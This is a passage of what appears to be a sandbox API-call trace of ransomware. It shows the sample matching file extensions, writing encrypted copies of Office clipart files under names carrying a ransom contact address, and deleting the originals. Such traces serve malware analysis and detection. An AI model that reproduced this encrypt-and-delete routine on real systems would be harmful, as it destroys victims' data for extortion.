[0054.099] lstrlenW (lpString=".pdf") returned 4 [0054.099] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0054.099] lstrlenW (lpString=".xls") returned 4 [0054.099] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0054.099] lstrlenW (lpString=".xlsx") returned 5 [0054.099] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0054.099] lstrlenW (lpString=".ppt") returned 4 [0054.099] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0054.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0054.099] lstrlenW (lpString=".zip") returned 4 [0054.099] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0054.099] lstrlenW (lpString=".rar") returned 4 [0054.099] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0054.099] lstrlenW (lpString=".bz2") returned 4 [0054.099] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0054.099] lstrlenW (lpString=".7z") returned 3 [0054.099] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0054.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0054.100] lstrlenW (lpString=".dbf") returned 4 [0054.100] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0054.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0054.100] lstrlenW (lpString=".1cd") returned 4 [0054.100] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0054.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0054.100] lstrlenW (lpString=".jpg") returned 4 [0054.100] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0054.100] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.100] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0054.101] GetLastError () returned 0x0 [0054.101] ReadFile (in: hFile=0x190, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x5b8, lpOverlapped=0x0) returned 1 [0054.103] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0054.104] ReadFile (in: hFile=0x190, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.104] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.104] SetEndOfFile (hFile=0x19c) returned 1 [0054.104] CloseHandle (hObject=0x19c) returned 1 [0054.104] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.104] SetEndOfFile (hFile=0x190) returned 1 [0054.105] CloseHandle (hObject=0x190) returned 1 [0054.105] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0054.105] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf")) returned 1 [0054.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0054.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0054.105] lstrlenW (lpString=".doc") returned 4 [0054.105] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0054.106] lstrlenW (lpString=".docx") returned 5 [0054.106] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0054.106] lstrlenW (lpString=".pdf") returned 4 [0054.106] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0054.106] lstrlenW (lpString=".xls") returned 4 [0054.106] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0054.106] lstrlenW (lpString=".xlsx") returned 5 [0054.106] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0054.106] lstrlenW (lpString=".ppt") returned 4 [0054.106] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0054.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0054.106] lstrlenW (lpString=".zip") returned 4 [0054.106] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0054.106] lstrlenW (lpString=".rar") returned 4 [0054.106] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0054.106] lstrlenW (lpString=".bz2") returned 4 [0054.106] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0054.106] lstrlenW (lpString=".7z") returned 3 [0054.106] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0054.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0054.106] lstrlenW (lpString=".dbf") returned 4 [0054.106] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0054.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0054.106] lstrlenW (lpString=".1cd") returned 4 [0054.106] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0054.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0054.106] lstrlenW (lpString=".jpg") returned 4 [0054.106] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0054.107] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.107] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0054.107] GetLastError () returned 0x0 [0054.107] ReadFile (in: hFile=0x190, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x6a0, lpOverlapped=0x0) returned 1 [0054.108] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x6b0, lpOverlapped=0x0) returned 1 [0054.109] ReadFile (in: hFile=0x190, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.109] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.109] SetEndOfFile (hFile=0x19c) returned 1 [0054.109] CloseHandle (hObject=0x19c) returned 1 [0054.109] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.109] SetEndOfFile (hFile=0x190) returned 1 [0054.110] CloseHandle (hObject=0x190) returned 1 [0054.110] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0054.110] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf")) returned 1 [0054.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0054.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0054.111] lstrlenW (lpString=".doc") returned 4 [0054.111] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0054.111] lstrlenW (lpString=".docx") returned 5 [0054.111] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0054.111] lstrlenW (lpString=".pdf") returned 4 [0054.111] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0054.111] lstrlenW (lpString=".xls") returned 4 [0054.111] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0054.111] lstrlenW (lpString=".xlsx") returned 5 [0054.111] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0054.111] lstrlenW (lpString=".ppt") returned 4 [0054.111] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0054.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0054.111] lstrlenW (lpString=".zip") returned 4 [0054.111] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0054.111] lstrlenW (lpString=".rar") returned 4 [0054.111] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0054.111] lstrlenW (lpString=".bz2") returned 4 [0054.111] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0054.111] lstrlenW (lpString=".7z") returned 3 [0054.111] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0054.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0054.111] lstrlenW (lpString=".dbf") returned 4 [0054.111] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0054.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0054.111] lstrlenW (lpString=".1cd") returned 4 [0054.111] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0054.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0054.111] lstrlenW (lpString=".jpg") returned 4 [0054.111] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0054.112] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.112] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0054.116] GetLastError () returned 0x0 [0054.116] ReadFile (in: hFile=0x190, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x5ec, lpOverlapped=0x0) returned 1 [0054.118] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x5f0, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x5f0, lpOverlapped=0x0) returned 1 [0054.118] ReadFile (in: hFile=0x190, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.118] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.118] SetEndOfFile (hFile=0x19c) returned 1 [0054.119] CloseHandle (hObject=0x19c) returned 1 [0054.119] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.119] SetEndOfFile (hFile=0x190) returned 1 [0054.119] CloseHandle (hObject=0x190) returned 1 [0054.120] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0054.120] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf")) returned 1 [0054.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0054.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0054.120] lstrlenW (lpString=".doc") returned 4 [0054.120] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0054.120] lstrlenW (lpString=".docx") returned 5 [0054.120] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0054.120] lstrlenW (lpString=".pdf") returned 4 [0054.120] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0054.120] lstrlenW (lpString=".xls") returned 4 [0054.120] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0054.120] lstrlenW (lpString=".xlsx") returned 5 [0054.120] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0054.120] lstrlenW (lpString=".ppt") returned 4 [0054.120] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0054.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0054.120] lstrlenW (lpString=".zip") returned 4 [0054.120] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0054.120] lstrlenW (lpString=".rar") returned 4 [0054.120] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0054.120] lstrlenW (lpString=".bz2") returned 4 [0054.120] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0054.121] lstrlenW (lpString=".7z") returned 3 [0054.121] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0054.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0054.121] lstrlenW (lpString=".dbf") returned 4 [0054.121] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0054.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0054.121] lstrlenW (lpString=".1cd") returned 4 [0054.121] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0054.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0054.121] lstrlenW (lpString=".jpg") returned 4 [0054.121] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0054.121] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.121] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0054.121] GetLastError () returned 0x0 [0054.121] ReadFile (in: hFile=0x190, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0xf92, lpOverlapped=0x0) returned 1 [0054.286] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xfa0, lpOverlapped=0x0) returned 1 [0054.287] ReadFile (in: hFile=0x190, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.287] WriteFile (in: hFile=0x19c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.287] SetEndOfFile (hFile=0x19c) returned 1 [0054.915] CloseHandle (hObject=0x19c) returned 1 [0054.915] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.915] SetEndOfFile (hFile=0x190) returned 1 [0054.916] CloseHandle (hObject=0x190) returned 1 [0054.916] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0054.916] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf")) returned 1 [0055.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0055.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0055.431] lstrlenW (lpString=".doc") returned 4 [0055.431] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.431] lstrlenW (lpString=".docx") returned 5 [0055.431] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.431] lstrlenW (lpString=".pdf") returned 4 [0055.431] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.431] lstrlenW (lpString=".xls") returned 4 [0055.431] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.431] lstrlenW (lpString=".xlsx") returned 5 [0055.431] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.431] lstrlenW (lpString=".ppt") returned 4 [0055.431] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0055.431] lstrlenW (lpString=".zip") returned 4 [0055.431] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.431] lstrlenW (lpString=".rar") returned 4 [0055.431] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.431] lstrlenW (lpString=".bz2") returned 4 [0055.431] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.431] lstrlenW (lpString=".7z") returned 3 [0055.431] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0055.431] lstrlenW (lpString=".dbf") returned 4 [0055.431] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0055.432] lstrlenW (lpString=".1cd") returned 4 [0055.432] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0055.432] lstrlenW (lpString=".jpg") returned 4 [0055.432] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.596] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=9304) returned 1 [0055.596] CloseHandle (hObject=0x214) returned 1 [0055.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf")) returned 0x20 [0055.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0056.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0056.097] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.097] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0056.442] GetLastError () returned 0x0 [0056.442] ReadFile (in: hFile=0x214, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x2458, lpOverlapped=0x0) returned 1 [0056.455] WriteFile (in: hFile=0x20c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x2460, lpOverlapped=0x0) returned 1 [0056.456] ReadFile (in: hFile=0x214, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.456] WriteFile (in: hFile=0x20c, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.456] SetEndOfFile (hFile=0x20c) returned 1 [0056.456] CloseHandle (hObject=0x20c) returned 1 [0056.456] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.457] SetEndOfFile (hFile=0x214) returned 1 [0056.457] CloseHandle (hObject=0x214) returned 1 [0056.457] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0056.462] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf")) returned 1 [0056.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0056.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0056.469] lstrlenW (lpString=".doc") returned 4 [0056.469] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.469] lstrlenW (lpString=".docx") returned 5 [0056.469] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.469] lstrlenW (lpString=".pdf") returned 4 [0056.469] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.469] lstrlenW (lpString=".xls") returned 4 [0056.469] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.470] lstrlenW (lpString=".xlsx") returned 5 [0056.470] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.470] lstrlenW (lpString=".ppt") returned 4 [0056.470] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0056.470] lstrlenW (lpString=".zip") returned 4 [0056.470] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.470] lstrlenW (lpString=".rar") returned 4 [0056.470] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.470] lstrlenW (lpString=".bz2") returned 4 [0056.470] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.470] lstrlenW (lpString=".7z") returned 3 [0056.470] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0056.470] lstrlenW (lpString=".dbf") returned 4 [0056.470] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 63 [0056.470] lstrlenW (lpString=".1cd") returned 4 [0056.470] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.470] lstrlenW 